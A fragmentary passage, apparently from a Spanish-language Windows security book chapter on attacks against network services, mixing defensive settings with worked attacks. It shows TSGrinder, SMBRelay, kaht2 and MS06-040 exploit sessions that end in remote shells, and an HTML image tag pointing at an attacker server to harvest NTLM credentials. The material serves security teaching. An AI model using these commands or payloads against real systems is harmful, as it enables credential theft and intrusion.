humanos le indica a alguien que deshabilite o elimine la cuenta después de unos meses (o años,
dependiendo de la eficiencia del departamento de RH). Si el contrato de trabajo temporal se ex-
tiende, la cuenta puede volver a habilitarse, otra vez por un periodo definido. Es mucho más
difícil irrumpir, mediante adivinación de contraseñas de cuentas de usuario, en organizaciones
que implementan esta directiva, porque son menos las cuentas que se toman como blanco en
cualquier momento. Más aún, las cuentas que se retiran son las que tienen las peores contrase-
ñas: ¡las cuentas temporales!
Revise cuidadosamente al personal administrativo Recuerde que no es posible defender todo usan-
do parámetros de configuración técnica. Cuando se contrata personal que requiere privilegios
administrativos, asegúrese de que se han aplicado políticas estrictas y revisiones de anteceden-
tes antes de otorgarle esos privilegios. Los miembros de los grupos administrativos privilegia-
dos bajo Windows pueden eliminar registros y ocultar sus pasos para que sea casi imposible
seguir sus (malas) acciones. Asigne a cada administrador una cuenta separada para permitir el
registro de actividades individuales, y no haga que sea posible adivinar el nombre de la cuenta
(usando un nombre como admin). Recuerde que los pares nombre de usuario/contraseña para
cuentas administrativas son las claves para su reino de Windows (asegúrese de que esas claves
son seguras).
También es posible que necesite cuentas administrativas con los privilegios más elevados a
fin de usar tarjetas inteligentes para administrar los sistemas. Como un vector, todas las cuentas
normales de usuarios administrativos podrían usarlos también.
Figura 5-5 La ventana Propiedades de Invitado de una cuenta de usuario que se muestra en
un controlador de dominio de Windows Server 2003. Observe que la expiración de la cuenta puede
establecerse en la mitad inferior de la pantalla
NOTA Esto no elimina el recurso compartido IPC$; lo crea el servicio Servidor y sólo puede eliminarse al
deshabilitar ese servicio o al eliminar manualmente el recurso utilizando el comando net share.
La deshabilitación del servicio Servidor podría considerarse útil para estaciones de trabajo que, por
lo general, no necesitan compartir recursos en la red, porque el servicio puede habilitarse
remotamente, y es posible acceder al sistema con módulos de administración remota y otros
medios.
atacantes puedan golpear la cuenta Administrador hasta que se adivine la contraseña. Tim en-
contró desafíos adicionales en la implementación de esta herramienta desde que la anunció en
2001, pero se las arregló para liberar TSGrinder 2 en la conferencia Black Hat de Las Vegas
en julio de 2003 (el código está disponible en el sitio de Tim en www.hammerofgod.com/down-
load.html). TSGrinder trabaja como se indicó y es impresionantemente rápido, considerando
que es esencial “teclear” cada suposición en el cuadro de inicio de sesión de cliente de Terminal
Services. He aquí un ejemplo de una sesión de TSGrinder que ha adivinado con éxito una con-
traseña contra un sistema Windows Server 2003 (la ventana de inicio de sesión gráfica aparece
en paralelo con la sesión de línea de comandos):
C:\>tsgrinder 192.168.234.244
password manzana – failed
password naranja – failed
password pera – failed
password mono – failed
password mapache – failed
password jirafa – failed
password perro – failed
password gato – failed
password pelotas – failed
paswword adivina – success!
TSGrinder toma los argumentos de línea de comandos para nombre de usuario, dominio o
marca de anuncio (en caso de que esos molestos administradores de sistemas traten de lanzar un
anuncio de inicio de sesión antes del cuadro de diálogo), subprocesos múltiples y varios niveles
de depuración. Tim, ha valido la pena la espera.
“Sniffing” es un término coloquial para capturar y analizar comunicaciones de una red. El término fue
NOTA
popularizado por la línea Sniffer de Network Associates de herramientas de monitoreo de red. Hoy
en día, el Sniffer está disponible con Network General.
En esta sección se supone que usted está familiarizado con los protocolos de autentificación
NOTA
orientados a LAN de Windows, incluido el mecanismo de desafío-respuesta NTLM, que se describió
en el capítulo 2.
Sólo la solicitud inicial de un boleto que otorga un boleto (TGT, Ticket Granting Ticket) del cliente al
NOTA
centro de distribución de claves (KDC, Key Distribution Center) puede usarse en un ataque de fuerza
bruta, porque los inicios de sesión posteriores en varios servicios dentro de la sesión de inicio de
sesión usan claves aleatorias.
C:\>kerbsniff output.txt
0 - 192.168.234.34
1 - 192.168.234.33
2 - 192.168.208.1
4 - 192.168.223.1
Captured packets: *
Oprima ctrl+c para terminar la captura. El asterisco después de Captured packets (paque-
tes capturados) indica el número de inicios de sesión que se han olfateado.
Puede usar KerbCrack para realizar operaciones de irrupción en el archivo de salida, re-
velando las contraseñas dado el tiempo suficiente y calculando el caballaje (o un diccionario
especialmente largo). Usamos la opción de irrupción con diccionario en este ejemplo:
Done
KerbCrack sólo romperá la última entrada de usuario hecha en el archivo KerbSniff; tendrá que
NOTA
separar manualmente las entradas en diferentes archivos si quiere romper la contraseña de cada
uno de los usuarios. Además, hemos observado que en ocasiones KerbSniff añade m o n a algunos
nombres de cuenta. Otros programas para irrumpir en Kerberos aparecen en la sección “Referencias
y lecturas adicionales”.
La base para este ataque se explica en un artículo escrito en marzo de 2002 por Frank
O’Dwyer. (Consulte la sección “Referencias y lecturas adicionales”, al final de este capítulo, para
encontrar un vínculo). En esencia, la implementación de Kerberos de Windows envía un paque-
te previo a la autentificación que contiene un texto simple conocido (una estampa de tiempo)
cifrado con una clave derivada de la contraseña del usuario. Por tanto, un ataque de fuerza bru-
ta o de diccionario que descifra ese paquete y revela una estructura similar a una estampa de
tiempo estándar devela la contraseña de usuario. Éste ha sido un problema conocido con Kerbe-
ros 5 por algún tiempo.
Olfateo de autentificación LM
Popularidad: 7
Simplicidad: 2
Impacto: 10
Clasificación de riesgo: 6
Cada fragmento puede atacarse utilizando adivinación exhaustiva contra cada posible com-
binación de 8 bytes. Para un equipo con un procesador moderno es muy fácil atacar todo el “es-
pacio de caracteres” de 8 bytes (es decir, todas las combinaciones posibles de caracteres
permitidas hasta de 8 bytes). Por tanto, si un atacante puede descubrir el hash LM del usuario,
tiene una buena posibilidad de descubrir al final la contraseña real de texto simple.
Debe observar algunas cosas importantes acerca del uso de la utilería SMB Packet Capture
de LC:
Para verificar la instalación correcta de WinPcap, revise que WinPcap aparece en la aplica-
ción Agregar o quitar programas del Panel de control. Cuando se ejecuta SMB Packet Capture,
puede comprobar que el controlador está cargado al ejecutar Administración de equipos (com-
pmgmgt.msc) y buscar bajo el nodo Información del sistema/Entorno de software/Controlado-
res de sistema. La entrada llamada packet_2.1 (el número puede ser diferente para distintas
versiones de WinPcap) debe aparecer como Activo. Además, asegúrese de deshabilitar cualquier
software de firewall personal que pueda estar ejecutándose en su sistema para asegurar que no
interfiere con la captura de paquetes de WinPcap.
Redireccionamiento de inicios de sesión de SMB al atacante Suponiendo que puede engañarse a los
usuarios para que se conecten al servidor de elección del atacante, la captura de respuesta de LM
se vuelve mucho más fácil. Este método también resulta práctico cuando se ha implementado el
intercambio de redes, porque invocará sesiones de autentificación próximas al sistema del ata-
cante, sin importar la topología de red.
Figura 5-8 ScoopLM captura autentificación de desafío-respuesta de LM/NTLM entre varios clientes y
un sistema de Windows Server 2003
Figura 5-9 BeatLM descubre contraseñas obtenidas del olfateo de respuestas de LM. Tome nota de
que no descubren contraseñas de versiones más recientes de Windows que XP
También es una manera más fina de tomar como blanco a usuarios individuales. El truco
más básico se sugirió en una de las primeras versiones de L0phtcrack: enviar un mensaje de co-
rreo electrónico a la víctima con un hipervínculo incrustado con un servidor fraudulento. La
víctima recibe el mensaje, se sigue el hipervínculo (de manera manual o automática) y el cliente
envía sin saberlo las credenciales de LM/NTLM del usuario en la red. Es fácil disfrazar esos
vínculos y por lo general requieren poca interacción con el usuario porque Windows trata automá-
ticamente de iniciar sesión como el usuario actual si no se proporciona explícitamente información de au-
tentificación. Tal vez éste sea uno de los comportamiento más debilitantes de Windows desde una
perspectiva de la seguridad y lo tocaremos de nuevo en el capítulo 12.
Como ejemplo, considere la etiqueta de imagen incrustada que se genera con HTML en una
página Web o un mensaje de correo electrónico:
<html>
<img src=file://servidor_atacante/nulo.gif height=1 width=1</img>
</html>
Cuando se genera este HTML en Internet Explorer u Outlook/Outlook Express, el archivo nulo.
gif se carga y la víctima iniciará autentificación de Windows con servidor_atacante. Ni siquiera es
necesario que exista el recurso compartido. Analizaremos otro de estos métodos incluida la in-
vocación de la sesión de telnet, en el capítulo 10, en el hackeo del lado del cliente.
Una vez que se engaña a la víctima para que se conecte con el sistema del atacante, la única
característica restante necesaria para completar la explotación es capturar la respuesta de LM, y
hemos visto lo trivial que resulta el uso de SMB Packet Capture o ScoopLM. Suponiendo que
una de estas herramientas está escuchando en servidor_atacante o su segmento local de red, el
tráfico desafío-respuesta de LM/NTLM fluirá en ella.
Una variación de este ataque consiste en configurar un servidor falso de Windows para cap-
turar los hashes, en oposición a un olfateador como SMB Packet Capture. Varias herramientas
pueden responder a la autentificación de cliente con un desafío de servidor SMB estático para
mejorar el desempeño del descubrimiento de contraseñas. Analizaremos los servidores falsos
SMB en la sección “Subversión de la autentificación de Windows”, en páginas posteriores de
este capítulo. También es posible usar redireccionamiento/envenenamiento de caché para redi-
rigir el tráfico del cliente a un sistema designado; consulte el capítulo 7 Hacking Exposed, quinta
edición.
Sugerencia Cuando se aplica el nivel de autentificación de LM en Windows, haga clic con el botón derecho en
el nodo superior del árbol de MMC en que está desplegado el valor y seleccione Actualizar. Esto
aplicará el valor de manera inmediata.
¿Cuáles son las características de los nuevos protocolos NTLM y NTLM 2? La respuesta de
NTLM no es susceptible al olfateo de respuestas, porque no se basa en el material criptográfico
unido que puede atacarse en paralelo. Por ejemplo, al parecer SMB Packet Capture de L0pht-
crack aún capturará la respuesta LM de un cliente de Windows, aunque su nivel de autentifica-
ción de LM esté en 2, pero una vez importados en L0phtcrack para descubrimiento, los hashes
de contraseña derivados de la respuesta de sólo NTLM no se descubrirán dentro de un marco
temporal razonable. Como vimos antes, otras herramientas de olfateo de respuesta de LM como
ScoopLM, muestran este mismo comportamiento. La razón para esto suele ser que el método
de autentificación utilizado es una variante de NTLM llamada ntlm2 (no es lo mismo que
NTLMv2). Estos hashes pueden descubrirse utilizando herramientas que aparecen en la sección
“Referencias y lecturas adicionales”. Con esto no se pretende afirmar que un atacante no puede
descubrir hashes NTLM válidos (como los analizaremos en el capítulo 7, es muy posible).
Resulta interesante tomar nota de que los desafíos-respuestas de NTLM 2 también pueden
olfatearse y son vulnerables a ataques similares. Los vínculos a herramientas públicamente dis-
ponibles, y una descripción, se encuentran en “Referencias y lecturas adicionales”.
Figura 5-10 El valor predeterminado del nivel de autentificación de LANMan de Windows Server 2003
evita el envío de la respuesta de LM vulnerable mediante la red
El valor del nivel de autentificación de LAN Manager se configuró utilizando la clave de Re-
gistro HKLM\System\CurrentControlSet\Control\LSA\LMCompatibilityLevel bajo NT4,
donde se originan las designaciones de nivel de 0 a 5, aunque el número no aparezca en la interfaz
de la directiva de seguridad de Windows (consulte el artículo de la base de datos de conocimien-
to de Microsoft Q147706).
NOTA Recuerde que mientras los sistemas de un entorno no se hayan establecido en el nivel 2 o superior,
ese entorno es vulnerable, aunque todos los servidores se hayan puesto en el nivel 4 o 5.
Los clientes aún enviarán la respuesta de LM aunque el servidor no lo soporte.
Uno de los más grandes problemas que enfrentaba una organización cuando desplegaba el
antiguo valor del Registro LMCompatibilityLevel era el hecho de que los clientes antiguos de
Windows no podían enviar respuesta de NTLM. Este problema fue atendido con el Directory
Services Client, incluido en el CD-ROM de Windows 2000, bajo Clients\Win9x\Dsclient.exe.
Una vez instalado, DSClient permite a los clientes de Windows 9x enviar la respuesta de NTLM
2. Windows 9x aún debe estar configurado para enviar sólo la respuesta de NTLM 2 al crear un
Registro de LSA bajo HKLM\System\CurrentControlSet\Control y luego agregando el siguien-
te valor de registro:
NOTA En clientes de Windows 9x con DSClient instalado, este valor de Registro debe denominarse
LMCompatibility, no LMCompatibilityLevel, que se usa para la configuración de NT 4.
También es importante tomar nota de que el valor del nivel de autentificación de LAN Mana-
ger se aplica a comunicaciones de SMB. Otra clave del Registro controla la seguridad de la llamada
a procedimiento remoto de Microsoft (MSRPC, Microsoft Remote Procedure Call) y la autentifica-
ción integrada de Windows mediante HTTP en el cliente y en el servidor (deben coincidir):
HKLM\System\CurrentControlSet\Control\LSA\MSV1_0
Nombre del valor: NtlmMinClientSec o NtlmMinServerSec
Tipo de datos: REG_WORD
Valor: uno de los valores de abajo:
0x00000010- Integridad del mensaje
0x00000020- Confidencialidad del mensaje
0x00080000- Seguridad de la sesión de NTML 2
0x20000000- Cifrado de 128-bits
0x80000000- Cifrado de 56 bits
Por último, como indicamos con frecuencia en este capítulo, Windows 2000 y versiones pos-
teriores son capaces de realizar otro tipo de autentificación: Kerberos. Debido a que es un tipo
completamente distinto de protocolo de autentificación, también es vulnerable a olfateo de res-
puestas de LM. Por desgracia, no es posible forzar a los clientes a que utilicen Kerberos con sólo
establecer un valor de registro similar al nivel de autentificación de LM, de modo que mientras
haya sistemas de bajo nivel en su entorno, es probable que se use la autentificación de desafío-
respuesta de LM/NTLM.
NOTA Recuerde que en páginas anteriores de este capítulo demostramos que también puede olfatearse la
autentificación de Kerberos.
Otros métodos para subvertir la secuencia de autentificación son ataques de paso del hash y
cambio de una sesión por otra. Ambos métodos requieren que el atacante ya haya obtenido ac-
ceso a una máquina de destino y se analizará de manera más detallada en el capítulo 7.
Redireccionamiento de SMB
Popularidad: 2
Simplicidad: 2
Impacto: 7
Clasificación de riesgo: 4
En mayo de 2001, Sir Dystic de Cult of the Dead Crow escribió y lanzó una herramienta lla-
mada SMBRelay con mucha fanfarria: The Register anunció de manera sensacionalista la herra-
mienta con el encabezado “Explotaciones devastan la seguridad de WinNT/2K”, al parecer sin
que se estuviera al tanto de las debilidades de la autentificación de LM que se habían tenido en
este punto por algún tiempo.
SMBRelay es, en esencia, un servidor de SMB que puede cosechar hashes de nombres de
usuario y contraseña para tráfico entrante de SMB. Como su nombre lo indica, SMBRelay podía
actuar como más que un simple extremo falso de SMB; también podía realizar ataques de inter-
mediario dadas ciertas circunstancias. Analizaremos la funcionalidad de intermediario de
SMBRelay un poco más adelante en la sección “Ataques de intermediario”; por ahora, nos con-
centraremos en su uso como un simple servidor SMB falso.
El establecimiento de un servidor falso de SMBRelay es muy simple. El primer paso consiste
en ejecutar la herramienta SMBRelay con el interruptor de enumeración (/E) para identificar
una interfaz física apropiada en la cual ejecutar el escucha:
C:\>smbrelay /E
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com
[2] ETHERNET CSMACD - 3Com 10/100 Mini PCI Ethernet Adapter
[1] SOFTWARE LOOPBACK - MS TCP Loopback interface
Como se muestra en este ejemplo, la interfaz con índice 2 es la selección más apropiada porque se
trata de una tarjeta física que será accesible desde sistemas remotos (el adaptador Loopback sólo es
accesible para localhost). Por supuesto, con varios adaptadores las opciones son mayores, pero nos
apegaremos al caso más simple aquí y usaremos el adaptador del índice 2 en un análisis más amplio.
Tome en cuenta que este número de índice puede cambiar entre usos separados de SMBRelay.
El inicio del servidor requiere algunos trucos en Windows Server 2000 y sistemas posteriores
porque el sistema operativo no permitirá que otro proceso se una al puerto de SMB TCP 139
cuando el sistema operativo está usándolo. Una manera es deshabilitar temporalmente el TCP
139 al marcar Deshabilitar NetBIOS sobre TCP/IP, una opción que se encuentra al seleccionar
Propiedades, de la conexión de área local apropiada, y luego seleccionar Propiedades, de Proto-
colo Internet (TCP/IP), hacer clic en el botón Opciones avanzadas y seleccionar el botón de op-
ción apropiado en la ficha WINS, como se analizó en el capítulo 4. Una vez que se ha hecho esto,
SMBRelay puede unirse a TCP 139.
Si deshabilitar TCP 139 no es una opción, el atacante debe crear una dirección IP virtual en
la cual ejecutar el servidor SMB falso. Por fortuna, SMBRelay proporciona funcionalidad auto-
matizada para configurar y eliminar direcciones IP virtuales empleando un interruptor simple
de línea de comandos, /L+ dirección_ip. Sin embargo, hemos experimentado resultados
erráticos empleando el interruptor /L en Windows 2000 y recomendamos deshabilitar TCP 139,
como se explicó antes, en lugar de usar /L.
Hay un detalle adicional que se debe tomar en consideración cuando se usa SMBRelay en NT
4 Service Pack 6a y posteriores: si un cliente moderno de SMB falla en conectarse a TCP 139, tra-
tará entonces una conexión SMB en TCP 445. Para evitar que estos clientes posteriores rodeen el
servidor de SMBRelay falso escuchando en TCP 139, debe bloquearse TCP 445 o deshabilitarse
en el servidor falso. Debido a que la única manera de deshabilitar TCP 445 deja TCP 139 intacto,
la mejor manera consiste en bloquear TCP 445 utilizando el filtro IPSec (consulte el apéndice A).
En los siguientes ejemplos se ilustra SMBRelay ejecutándose en un host de Windows 2000 y
se supone que se ha deshabilitado TCP 139 (como se explicó) y que se ha bloqueado TCP 445
empleando un filtro IPSec. He aquí cómo empezar SMBRelay en Windows 2000, suponiendo
que la interfaz de índice 2 se usará para el escucha local y la dirección de retransmisión, y que el
servidor falso escuchará en la dirección IP de esta interfaz:
C:\>smbrelay /IL 2 /IR 2
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Como puede ver, se han capturado contraseñas tanto de LM (que no es sensible a mayúsculas y
minúsculas) como de NTLM (que sí lo es) y se han escrito en el archivo hashes.txt en el directorio
actual de trabajo. Este archivo puede importarse en L0phtcrack para descubrimiento.
Debido a las diferencias de formato con versiones posteriores a 2.52, los hashes capturados por
NOTA
SMBRelay no pueden importarse directamente en L0phtcrack.
Lo que es peor, ahora el sistema del atacante puede acceder a la máquina del cliente al sim-
plemente conectarlo mediante la dirección de retransmisión, que como opción predeterminada
es 192.1.1.1. He aquí cuál es su aspecto:
Directorio de G:\
En el sistema cliente de Windows 2000 que está conectado sin saberlo al servidor de SMBRe-
lay en el ejemplo anterior, se observó el siguiente comportamiento. En primer lugar, al parecer
falló el comando original net use, lanzando el error del sistema 64. La ejecución de net use
indicará que no se han montado unidades. Sin embargo, la ejecución de net session revelará
que está conectado sin saberlo al nombre de máquina falsificado (CDC4EVER, que SMBRelay
establece como opción predeterminada, a menos que se cambie utilizando el parámetro /S
nombre):
C:\cliente>net use
No se registrarán las nuevas conexiones.
C:\cliente>net session
Algunos problemas suelen surgir cuando se usa SMBRelay. El siguiente ejemplo ilustra és-
tos. La dirección IP de nuestra víctima es 192.168.234.223.
Esto suele ocurrir cuando la víctima proporciona una combinación de nombre de usuario/con-
traseña que no es válida. SMBRelay seguirá escuchando, pero encontrará errores posteriores:
Una vez que se ha intentado una conexión desde la dirección IP de una víctima determinada y
falla, todos los intentos adicionales de esta dirección generarán este error. (Esto es de acuerdo
con el diseño del programa, como se estableció en el archivo readme). También puede experi-
mentar este problema aunque la negociación inicial tenga éxito pero recibe un mensaje como
“Login failure code 0xC000006D)”. El restablecimiento de SMBRelay alivia estos problemas
(sólo oprima ctrl+c para detenerlo. Además, tal vez vea entradas falsas como la siguiente:
Éste es el adaptador Loopback que hace conexiones con el servidor de SMBRelay (es seguro ig-
norarlo).
Recuerde que también es posible usar redireccionamiento/envenenamiento de caché para
redirigir el tráfico del cliente a un servidor SMB falso; consulte la cuarta edición de Hacking Ex-
posed: Network Security Secrets & Solutions, capítulo 9.
Ataques de intermediario
Popularidad: 2
Simplicidad: 2
Impacto: 8
Clasificación de riesgo: 4
Los ataques de intermediario fueron la principal razón para el gran impulso de SMBRelay
cuando se lanzó. Aunque el concepto de ataques de intermediario de SMB era muy viejo para el
momento en que se lanzó SMBRelay, era la primera herramienta de distribución amplia que ha-
cía automático el ataque.
He aquí un ejemplo de la configuración de un intermediario con SMBRelay. El atacante en
este ejemplo configura un servidor fraudulento en 192.168.234.251 empleando el interruptor
/L+, una dirección de retransmisión de 192.168.234.252 empleando /R y una dirección de servi-
dor de destino de 192.168.234.34 con /T:
C:\>smbrelay /IL 2 /IR 2 /R 192.168.234.252 /T 192.168.234.220
Bound to port 139 on address 192.168.234.251
Observe que el servidor de destino se ha configurado para solicitar comunicaciones de SMB fir-
madas digitalmente y que SMBRelay trata de deshabilitar las firmas.
En este punto, el atacante se ha insertado con éxito en el flujo de SMB entre el cliente víctima y
el servidor de destino y ha derivado los hashes de LM y NTLM del cliente del desafío-respuesta.
La conexión con la dirección de retransmisión le dará acceso a los recursos del servidor de des-
tino. Por ejemplo, he aquí un sistema de ataque separado montando el recurso compartido C$
en la dirección de retransmisión:
He aquí el aspecto que tendrá la conexión del sistema de este atacante (192.168.234.50) en la con-
sola del servidor de SMBRelay:
SMBRelay puede ser errático y los resultados no siempre son así de limpios, pero cuando se
implementan con éxito, éste es evidentemente un ataque devastador: el intermediario ha gana-
do acceso completo a los recursos del servidor de destino sin levantar en realidad un dedo.
Otra técnica de intermediario es el uso de un proxy de SMB, que depende de que el atacante
esté en la ruta directa entre el cliente y el servidor, actuando como servidor para el cliente y como
cliente para el servidor.
Comparada con el uso de SMBRelay, esta técnica toma como destino el protocolo SMB y hace
posible realizar interacción activa con la configuración de la sesión y la secuencia de autentifica-
ción, como degradar el nivel de seguridad de SMB y modificar el desafío, inyectar hashes de
contraseña, o ambas opciones.
La degradación de la autentificación es para beneficio del atacante (ha sido muy común de-
gradar la autentificación a texto simple o una criptografía más débil). Esto muestra la importan-
cia de establecer requisitos para envío y exigir cifrado más elevado.
Por supuesto, el obstáculo aquí consiste en convencer a un cliente víctima de que se autenti-
fique en el servidor intermediario en primer lugar, pero ya hemos analizado varias maneras de
hacerlo. Una sería enviar un mensaje de correo electrónico malicioso al cliente víctima con un
hipervínculo incrustado con la dirección del servidor del SMBRelay intermediario. La otra sería
implementar un ataque de envenenamiento de ARP o de falsificación de nombres de NetBIOS
contra todo un segmento, causando que todos los sistemas del segmento se autentifiquen a tra-
vés del servidor intermediario fraudulento. En el capítulo 9 de Hacking Exposed, cuarta edición, se
analiza el redireccionamiento de ARP y el envenenamiento de caché.
El uso de firma SMB acarrea sobrecarga de trabajo en la red, y puede causar problemas de
NOTA
conectividad con NT 4 o aún sistemas más nuevos, aunque la firma SMB esté habilitada en esos
sistemas.
Debido a que los ataques de intermediario de SMBRelay o SMBProxy son conexiones esen-
cialmente legítimas, no hay entradas del registro que indiquen lo que está ocurriendo. En el
cliente víctima, los problemas de conectividad pueden surgir cuando se conecta con servidores
intermediarios fraudulentos, incluido el error del sistema 59, “Ha ocurrido un error inesperado
en la red”. Con el uso de SMBRelay, la conexión se hará con éxito, gracias a SMBRelay, pero és-
te desconectará al cliente y secuestrará la conexión.
partir del 16 de agosto de 2003 y hasta diciembre. Este obvio asalto a una infraestructura corpora-
tiva y la enorme escala del asalto no tenían precedente, pero por fortuna el dominio windowsup-
date.com ya no era usado por Microsoft Corporation, que simplemente eliminó los registros DNS
de ese dominio y, por tanto, aplastaron la amenaza. Sería interesante ver cómo reacciona la comu-
nidad de Internet a gusanos diseñados de manera más cuidadosa en el futuro.
En paralelo con el meteórico ascenso y caída de Blaster, y posterior a éstos, otras herramientas
se dedicaron a explotar el problema de MSRPC que emergió en Internet. Una de las más atemo-
rizantes fue un programa llamado kaht2, que rastreaba un rango de direcciones IP definidas por
el usuario para el error de MSRPC y luego desplegaba una shell para el atacante de cada sistema
vulnerable que encontraba. Kaht2 se muestra a continuación rastreando una subred de clase C:
_________________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION :P
________________________________________________
C:\WINNT\system32>
C:\WINNT\system32>whoami
whoami
nt authority\system
Como puede ver en esta salida, kaht2 encuentra una máquina vulnerable de Windows XP, envía
una explotación al puerto 135 y luego despliega una shell para el atacante que se ejecuta como
LocalSystem.
NOTA Hemos experimentado resultados interesantes usando kaht2 (en ocasiones, parece imposible
encontrar puertos abiertos y en un sistema víctima de Windows causó que terminara el servicio
RPC, y el sistema se apagó a sí mismo 20 segundos después).
Un interesante punto final acerca de Blaster es que el gusano surgió después de que se hicieron
públicas las sugerencias y las explotaciones. Parecería que el uso de las denominadas “explotacio-
nes de 0 días” en un gusano serían más deseables, porque no hay parche. En la práctica, es poco
usual ver 0 días usados a esa escala porque suelen llevar a parchado más rápido y a la pérdida de
un error valioso para la comunidad de atacantes (que podría usarse para fines criminales).
Uno de los servicios de Windows que se atacan con más frecuencia ha sido la implementa-
ción del servidor de World Wide Web de Microsoft, Internet Information Services (IIS). Microsoft
ha hecho un buen trabajo al atender casi todas las vulnerabilidades importantes de seguridad en
IIS en versiones recientes. (Al momento de escribir esto, no habían aparecido vulnerabilidades
“críticas” de seguridad en una versión contemporánea de IIS desde 2002, de acuerdo con la he-
rramienta de búsqueda en línea del boletín de seguridad de Microsoft). Sin embargo, debido a
que aún encontramos versiones anteriores de IIS que se exponen a redes hostiles, y porque nun-
ca se sabe cuándo podría descubrirse una nueva vulnerabilidad seria de IIS, aquí incluimos una
breve descripción de una explotación de IIS.
Como se analizó en el capítulo 4, el descubrimiento de la marca y modelo de un servidor Web
es una tarea muy fácil. Tampoco es difícil investigar vulnerabilidades publicadas en el software
de servidor identificado. Por ejemplo, considere la condición de sobreflujo de búfer remoto de
SSL PCT que existe para IIS, como se describe en el boletín de seguridad de Microsoft MS04-011.
Ahora, todo lo que necesita un atacante es encontrar algún código de explotación. Para este ejem-
plo, fuimos a www.k-otik.com y encontramos una explotación empaquetada muy útil para la
vulnerabilidad de SSL/PCT (capa de conexiones seguras/tecnología de comunicación privada).
Después de descargar el código de explotación y llamarlo iisexplotacion.c, tratamos de com-
pilarlo. Para el conocedor promedio de secuencias de comandos, obtener código de explotación
para compilación no siempre es una tarea simple, en especial con código que probablemente esté
recompilado de varias fuentes con segmentaciones poco juiciosas (y a menudo con propósitos
malévolos). Más adelante, después de resolver varios errores de compilación relacionados con
archivos de encabezado faltantes, bibliotecas, referencias no válidas, etc., además de un par de
viajes a Google para recordar cómo establecer parámetros básicos de compilador, ahora tenemos
nuestro iisexplotacion.exe listo para ejecutarse.
Lanzar iisexplotacion.exe desde la línea de comandos es muy sencillo (si se compara con la
compilación):
La explotación regresa una shell al sistema del atacante en el puerto 8082 predeterminado.
Como lo acaba de atestiguar, la explotación de una vulnerabilidad conocida es muy simple
y no requiere mucho trabajo. Pero gracias a los marcos conceptuales de desarrollo de explotacio-
nes que han evolucionado con los años, puede ser más fácil que esto. Por ejemplo, Metasploit
Framework es una plataforma de fuente abierta para desarrollo, prueba y lanzamiento de códi-
go de explotación. Se amplifica fácilmente con módulos de explotación modulares aportados
por la comunidad mundial de personas enfrascadas en la “penetración legal usada sólo con fines
de prueba e investigación”, de acuerdo con el sitio Web de Metasploit. Metasploit se ejecuta en
casi todas las plataformas Linux/UNIX con Perl disponible. Se ofrece una versión basada
en Cygwin para sistemas Windows. Metasploit aporta a explotaciones fáciles de todo tipo de
vulnerabilidades, incluidos agujeros en la plataforma Web. Entre los marcos conceptuales para
explotación con soporte comercial se incluyen CORE IMPACT de Core Security Technologies y
CANVAS de Immunity. Para conocer vínculos con más información acerca de Metsploit, CORE
IMPACT y CANVAS, consulte “Referencias y lecturas adicionales”, al final de este capítulo.
El poder y la eficiencia de Metasploit es impresionante, aun en manos de adversarios con
poca habilidad. Después de descargar e instalar la distribución de Framework, un atacante pue-
de estar listo para desenrollar explotaciones preempaquetadas en 5 minutos. Metasploit incluso
incluye un estupendo asistente para instalación. ¡Qué conveniente! (y la gente piensa que hac-
kear es difícil). Una vez instalado, puede accederse a Metasploit con sus interfaces de línea de
comandos o Web.
Un atacante que quiera tomar como destino la misma vulnerabilidad SSL PCT de IIS em-
pleando Metasploit simplemente la seleccionaría de la lista de explotaciones precompiladas des-
plegadas en la interfaz de usuario de Metasploit. Luego Metasploit despliega una pantalla útil
que proporciona una descripción de la vulnerabilidad, junto con referencias. Metasploit inclu-
so nos permite seleccionar entre varias cargas que pueden enviarse al servidor (incluido shell
remota, como demostramos arriba). Después de hacer clic en el botón Exploit, Metasploit des-
pliega el estado de éxito del envío de carga, y se presenta al atacante con acceso a la consola al
servidor remoto.
Uno de los servicios más importantes en servidores Web es Servidor, lo que sorprende poco.
Proporciona la base para ofrecer recursos a clientes (llamadas a RPC, servicios de archivo e im-
presión, etc.). Originalmente Microsoft lanzó un boletín el 8 de agosto de 2006, titulado “La vul-
nerabilidad en el servicio Servidor podría permitir la ejecución de código remoto”. Aunque el
nombre implica capacidad de explotación condicional, la realidad es que el “servicio permite
ejecución de código remoto”, de acuerdo con el boletín.
El problema residía en la función CanonicalizePathName(). Canonicalización significa
normalización de la cadena manejada por una función. Por ejemplo, si los datos se presentan
usando Unicode con diferentes codificaciones, para usar en realidad la información el sistema
necesita normalizarla (descifrarla) a la forma de presentación más simple que pueda comprender
la aplicación. De manera natural, los atacantes han tomado como blanco la canonicalización; por
ejemplo, la antigua sintaxis “punto-punto-diagonal” para recorrer los sistemas de archivo algu-
na vez se explotó contra IIS al usar cifrado especial como %255c o %a0%af en lugar de ../.
Este error, después de la publicación, causó que casi de inmediato se publicaran diferentes
explotaciones, y también se usaron en algún malware.
A continuación se presenta un ejemplo de uso de la explotación real escrita por Preddy:
kraken:~/hacks/exploits jabba$ ./ms06-40 127.0.0.1
Target: 127.0.0.1
Attack Finished: now open a new terminal and nc to your victim on port 54321
Warning: Don't close this window!
nc 127.0.0.1 54321
Microsoft Windows XP [Version 5.1.2600]
C:\WINDOWS\system32>
Aunque este ejemplo es de XP, el error también era explotable en Windows 2003 en ese momento.
RESUMEN
En este capítulo hemos cubierto ataques contra servicios de Windows que van de lo mundano
(adivinación de contraseñas) a lo complejo (ataques de intermediario), a lo horriblemente simple
(sobreflujo de búfer de la interfaz de MSRPC). Aunque tal vez su cabeza esté dando vueltas con
el número de ataques factibles contra los protocolos de red de Microsoft, a continuación se pre-
sentan los puntos defensivos más importantes que vale la pena recordar:
Y un tema final, pero no por ello menos importante: no olvide que la autentificación de Win-
dows y servicios relacionados sólo son las puertas más obvias en los sistemas de Windows. Aun-
que SMB esté deshabilitado, aún están disponibles gran cantidad de otras buenas avenidas,
incluidos IIS y SQL (capítulo 9) ¡No adquiera una falsa sensación de seguridad sólo porque se ha
bloqueado SMB!
Herramientas freeware
Toolcrypt, compilación de herramientas de www.toolcrypt.org/index.html?hew
evaluación de seguridad de
Windows
DelGuest, por Arne Vidstrom http://ntsecurity.nu/toolbox/delguest
